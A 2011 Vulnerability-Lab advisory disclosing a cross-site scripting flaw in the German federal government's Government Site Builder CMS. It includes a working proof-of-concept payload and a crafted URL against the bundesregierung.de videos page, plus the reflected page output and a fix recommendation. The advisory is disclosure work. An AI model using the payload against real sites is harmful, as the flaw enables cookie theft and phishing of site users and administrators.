Title:
======
Bundesregierung Website - Cross Site Scripting Vulnerability


Date:
=====
2011-12-18


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=346


VL-ID:
=====
346


Introduction:
=============
Der Government Site Builder (GSB) wurde als zentrale Content-Management-Lösung für die Webangebote der deutschen 
Bundesverwaltung entwickelt. Er entstand im Rahmen der E-Government-Initiative BundOnline 2005 als Basiskomponente 
Content-Management-System (CMS) für die Internet-, Intranet- sowie Extranet-Aktivitäten der Bundesverwaltung und liegt 
seit Februar 2011 in der Version 4.1 vor.

(Copy of the Vendor Website: http://www.bundesregierung.de)


Abstract:
=========
A Vulnerability-Lab researcher discovered a non reflective cross site scripting vulnerability in the government site builder CMS.


Report-Timeline:
================
2011-12-18: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Low


Details:
========
A non reflective cross site scripting vulnerability is detected in the media module of the government site builder. 
The bug allows an attacker to steal admin and user cookies or build a phishing layer over the page with a prepared link.

Vulnerable Module(s):
                                 [+] videos.html

Vulnerable Param(s):

                                 [+] ?page=

Important Param(s):

                                 [+] &view=coverflow


Proof of Concept:
=================
The vulnerability can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...

PoC:
"};</script><iframe src=//www.vulnerability-lab.com/ onload=alert('CrossSiteScripting')>

Reference(s):
www.bundesregierung.de/Webs/Breg/DE/Mediathek/Videos/videos.html?page=2"};</script><iframe src=//www.vulnerability-lab.com/ 
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue&view=coverflow

--- Output Review ---
    var flashvars = {
      file: "/Webs/Breg/DE/Mediathek/Videos/Functions/FilterListeTabelle-Coverflow,templateId=r
enderCoverflowXML,nnp=670562.xml?view=coverflow%26page=2"};</script><iframe src=//www.vulnerability-lab.com/ 
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue",
      vars: ""
    };


Solution:
=========
To fix the security issue the manufacturer have to allow only numbers in the vulnerable parameter. It is always a good idea to 
check all inputs with a whitelist of expect inputs. There are also techniques to block requests to other domains.


Risk:
=====
The security risk of the reflective xss vulnerability is estimated as low(+).


Credits:
========
Vulnerability Research Laboratory -  Alexander Fuchs (f0x23)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                Copyright © 2011|Vulnerability-Lab




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